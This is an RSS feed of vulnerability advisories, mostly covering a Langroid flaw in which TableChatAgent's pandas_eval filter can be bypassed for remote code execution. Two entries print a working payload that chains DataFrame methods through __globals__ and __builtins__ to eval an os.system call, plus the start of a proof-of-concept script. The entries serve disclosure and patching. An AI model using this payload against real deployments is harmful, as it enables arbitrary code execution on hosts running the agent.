<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 02 Oct 2026 21:39:08 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-267380</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-267380</link>
      <description>EUVD-2026-267380</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-267380</guid>
    </item>
    <item>
      <title>fkie_cve-2026-25481</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-25481</link>
      <description>&lt;p&gt;Langroid is a framework for building large-language-model-powered applications. Prior to version 0.59.32, there is a bypass to the fix for CVE-2025-46724. TableChatAgent can call pandas_eval tool to evaluate the expression. There is a WAF in langroid/utils/pandas_utils.py introduced to block code injection CVE-2025-46724. However it can be bypassed due to _literal_ok() returning False instead of raising UnsafeCommandError on invalid input, combined with unrestricted access to dangerous dunder attributes (__init__, __globals__, __builtins__). This allows chaining whitelisted DataFrame methods to leak the eval builtin and execute arbitrary code. This issue has been patched in version 0.59.32.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Langroid is a framework for building large-language-model-powered applications. Prior to version 0.59.32, there is a bypass to the fix for CVE-2025-46724. TableChatAgent can call pandas_eval tool to evaluate the expression. There is a WAF in langroid/utils/pandas_utils.py introduced to block code injection CVE-2025-46724. However it can be bypassed due to _literal_ok() returning False instead of raising UnsafeCommandError on invalid input, combined with unrestricted access to dangerous dunder attributes (__init__, __globals__, __builtins__). This allows chaining whitelisted DataFrame methods to leak the eval builtin and execute arbitrary code. This issue has been patched in version 0.59.32.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-25481</guid>
    </item>
    <item>
      <title>GHSA-x34r-63hx-w57f — Langroid has WAF Bypass Leading to RCE in TableChatAgent</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-x34r-63hx-w57f</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: langroid&lt;/p&gt;
&lt;p&gt;## Affected Scope&lt;/p&gt;
&lt;p&gt;langroid &amp;lt;= 0.59.31&lt;/p&gt;
&lt;p&gt;## Vulnerability Description&lt;/p&gt;
&lt;p&gt;CVE-2025-46724 fix bypass:&lt;/p&gt;
&lt;p&gt;TableChatAgent can call pandas_eval tool to evaluate the expression. There is a WAF in `langroid/utils/pandas_utils.py` introduced to block code injection CVE-2025-46724. However it can be bypassed due to `_literal_ok()` returning `False` instead of raising `UnsafeCommandError` on invalid input, combined with unrestricted access to dangerous dunder attributes (`__init__`, `__globals__`, `__builtins__`). This allows chaining whitelisted DataFrame methods to leak the `eval` builtin and execute arbitrary code.&lt;/p&gt;
&lt;p&gt;## Reproduction &amp;amp; PoC&lt;/p&gt;
&lt;p&gt;This payload is used to bypass the waf, when executed, the column name `__import__(&amp;#39;os&amp;#39;).system(&amp;#39;ls&amp;#39;)#...` will be passed to eval&lt;/p&gt;
&lt;p&gt;```python
df.add_prefix(&amp;#34;__import__(&amp;#39;os&amp;#39;).system(&amp;#39;ls&amp;#39;)#&amp;#34;).T.groupby(by=df.__init__.__globals__[&amp;#39;__builtins__&amp;#39;][&amp;#39;eval&amp;#39;])
```&lt;/p&gt;
&lt;p&gt;here is the PoC&lt;/p&gt;
&lt;p&gt;````python
&amp;#34;&amp;#34;&amp;#34;Minimal TableChatAgent Demo using Langroid&amp;#34;&amp;#34;&amp;#34;&lt;/p&gt;
&lt;p&gt;import os
from langroid.agent.special.table_chat_agent import TableChatAgent, TableChatAgentConfig
from langroid.agent.task import Task
import pandas as pd
from langroid.language_models.openai_gpt import OpenAIGPTConfig&lt;/p&gt;
&lt;p&gt;# Path to the CSV/Excel/TSV file, or URL
data = pd.DataFrame({
    &amp;#34;id&amp;#34;: [1],
    &amp;#34;name&amp;#34;: [&amp;#34;admin&amp;#34;]
})&lt;/p&gt;
&lt;p&gt;# Create Table Chat Agent
config = TableChatAgentConfig(
    data=data,
    llm=OpenAIGPTConfig(
        api_base=os.getenv(&amp;#34;base_url&amp;#34;),
        api_key=os.getenv(&amp;#34;api_key&amp;#34;),
        chat_model=&amp;#34;deepseek-v…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: langroid&lt;/p&gt;
&lt;p&gt;## Affected Scope&lt;/p&gt;
&lt;p&gt;langroid &amp;lt;= 0.59.31&lt;/p&gt;
&lt;p&gt;## Vulnerability Description&lt;/p&gt;
&lt;p&gt;CVE-2025-46724 fix bypass:&lt;/p&gt;
&lt;p&gt;TableChatAgent can call pandas_eval tool to evaluate the expression. There is a WAF in `langroid/utils/pandas_utils.py` introduced to block code injection CVE-2025-46724. However it can be bypassed due to `_literal_ok()` returning `False` instead of raising `UnsafeCommandError` on invalid input, combined with unrestricted access to dangerous dunder attributes (`__init__`, `__globals__`, `__builtins__`). This allows chaining whitelisted DataFrame methods to leak the `eval` builtin and execute arbitrary code.&lt;/p&gt;
&lt;p&gt;## Reproduction &amp;amp; PoC&lt;/p&gt;
&lt;p&gt;This payload is used to bypass the waf, when executed, the column name `__import__(&amp;#39;os&amp;#39;).system(&amp;#39;ls&amp;#39;)#...` will be passed to eval&lt;/p&gt;
&lt;p&gt;```python
df.add_prefix(&amp;#34;__import__(&amp;#39;os&amp;#39;).system(&amp;#39;ls&amp;#39;)#&amp;#34;).T.groupby(by=df.__init__.__globals__[&amp;#39;__builtins__&amp;#39;][&amp;#39;eval&amp;#39;])
```&lt;/p&gt;
&lt;p&gt;here is the PoC&lt;/p&gt;
&lt;p&gt;````python
&amp;#34;&amp;#34;&amp;#34;Minimal TableChatAgent Demo using Langroid&amp;#34;&amp;#34;&amp;#34;&lt;/p&gt;
&lt;p&gt;import os
from langroid.agent.special.table_chat_agent import TableChatAgent, TableChatAgentConfig
from langroid.agent.task import Task
import pandas as pd
from langroid.language_models.openai_gpt import OpenAIGPTConfig&lt;/p&gt;
&lt;p&gt;# Path to the CSV/Excel/TSV file, or URL
data = pd.DataFrame({
    &amp;#34;id&amp;#34;: [1],
    &amp;#34;name&amp;#34;: [&amp;#34;admin&amp;#34;]
})&lt;/p&gt;
&lt;p&gt;# Create Table Chat Agent
config = TableChatAgentConfig(
    data=data,
    llm=OpenAIGPTConfig(
        api_base=os.getenv(&amp;#34;base_url&amp;#34;),
        api_key=os.getenv(&amp;#34;api_key&amp;#34;),
        chat_model=&amp;#34;deepseek-v…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-x34r-63hx-w57f</guid>
    </item>
    <item>
      <title>PYSEC-2026-383 — Langroid has WAF Bypass Leading to RCE in TableChatAgent</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-383</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: langroid&lt;/p&gt;
&lt;p&gt;## Affected Scope&lt;/p&gt;
&lt;p&gt;langroid &amp;lt;= 0.59.31&lt;/p&gt;
&lt;p&gt;## Vulnerability Description
 
CVE-2025-46724 fix bypass:&lt;/p&gt;
&lt;p&gt;TableChatAgent can call pandas_eval tool to evaluate the expression. There is a WAF in `langroid/utils/pandas_utils.py` introduced to block code injection CVE-2025-46724. However it can be bypassed due to `_literal_ok()` returning `False` instead of raising `UnsafeCommandError` on invalid input, combined with unrestricted access to dangerous dunder attributes (`__init__`, `__globals__`, `__builtins__`). This allows chaining whitelisted DataFrame methods to leak the `eval` builtin and execute arbitrary code.&lt;/p&gt;
&lt;p&gt;## Reproduction &amp;amp; PoC&lt;/p&gt;
&lt;p&gt;This payload is used to bypass the waf, when executed, the column name `__import__(&amp;#39;os&amp;#39;).system(&amp;#39;ls&amp;#39;)#...` will be passed to eval&lt;/p&gt;
&lt;p&gt;```python
df.add_prefix(&amp;#34;__import__(&amp;#39;os&amp;#39;).system(&amp;#39;ls&amp;#39;)#&amp;#34;).T.groupby(by=df.__init__.__globals__[&amp;#39;__builtins__&amp;#39;][&amp;#39;eval&amp;#39;])
```&lt;/p&gt;
&lt;p&gt;here is the PoC&lt;/p&gt;
&lt;p&gt;````python
&amp;#34;&amp;#34;&amp;#34;Minimal TableChatAgent Demo using Langroid&amp;#34;&amp;#34;&amp;#34;&lt;/p&gt;
&lt;p&gt;import os
from langroid.agent.special.table_chat_agent import TableChatAgent, TableChatAgentConfig
 from langroid.agent.task import Task
import pandas as pd
from langroid.language_models.openai_gpt import OpenAIGPTConfig&lt;/p&gt;
&lt;p&gt;# Path to the CSV/Excel/TSV file, or URL
data = pd.DataFrame({
    &amp;#34;id&amp;#34;: [1],
    &amp;#34;name&amp;#34;: [&amp;#34;admin&amp;#34;]
})&lt;/p&gt;
&lt;p&gt;# Create Table Chat Agent
 config = TableChatAgentConfig(
    data=data,
    llm=OpenAIGPTConfig(
        api_base=os.getenv(&amp;#34;base_url&amp;#34;),
        api_key=os.getenv(&amp;#34;api_key&amp;#34;),
        chat_model=&amp;#34;deepse…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: langroid&lt;/p&gt;
&lt;p&gt;## Affected Scope&lt;/p&gt;
&lt;p&gt;langroid &amp;lt;= 0.59.31&lt;/p&gt;
&lt;p&gt;## Vulnerability Description
 
CVE-2025-46724 fix bypass:&lt;/p&gt;
&lt;p&gt;TableChatAgent can call pandas_eval tool to evaluate the expression. There is a WAF in `langroid/utils/pandas_utils.py` introduced to block code injection CVE-2025-46724. However it can be bypassed due to `_literal_ok()` returning `False` instead of raising `UnsafeCommandError` on invalid input, combined with unrestricted access to dangerous dunder attributes (`__init__`, `__globals__`, `__builtins__`). This allows chaining whitelisted DataFrame methods to leak the `eval` builtin and execute arbitrary code.&lt;/p&gt;
&lt;p&gt;## Reproduction &amp;amp; PoC&lt;/p&gt;
&lt;p&gt;This payload is used to bypass the waf, when executed, the column name `__import__(&amp;#39;os&amp;#39;).system(&amp;#39;ls&amp;#39;)#...` will be passed to eval&lt;/p&gt;
&lt;p&gt;```python
df.add_prefix(&amp;#34;__import__(&amp;#39;os&amp;#39;).system(&amp;#39;ls&amp;#39;)#&amp;#34;).T.groupby(by=df.__init__.__globals__[&amp;#39;__builtins__&amp;#39;][&amp;#39;eval&amp;#39;])
```&lt;/p&gt;
&lt;p&gt;here is the PoC&lt;/p&gt;
&lt;p&gt;````python
&amp;#34;&amp;#34;&amp;#34;Minimal TableChatAgent Demo using Langroid&amp;#34;&amp;#34;&amp;#34;&lt;/p&gt;
&lt;p&gt;import os
from langroid.agent.special.table_chat_agent import TableChatAgent, TableChatAgentConfig
 from langroid.agent.task import Task
import pandas as pd
from langroid.language_models.openai_gpt import OpenAIGPTConfig&lt;/p&gt;
&lt;p&gt;# Path to the CSV/Excel/TSV file, or URL
data = pd.DataFrame({
    &amp;#34;id&amp;#34;: [1],
    &amp;#34;name&amp;#34;: [&amp;#34;admin&amp;#34;]
})&lt;/p&gt;
&lt;p&gt;# Create Table Chat Agent
 config = TableChatAgentConfig(
    data=data,
    llm=OpenAIGPTConfig(
        api_base=os.getenv(&amp;#34;base_url&amp;#34;),
        api_key=os.getenv(&amp;#34;api_key&amp;#34;),
        chat_model=&amp;#34;deepse…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-383</guid>
    </item>
  </channel>
</rss>
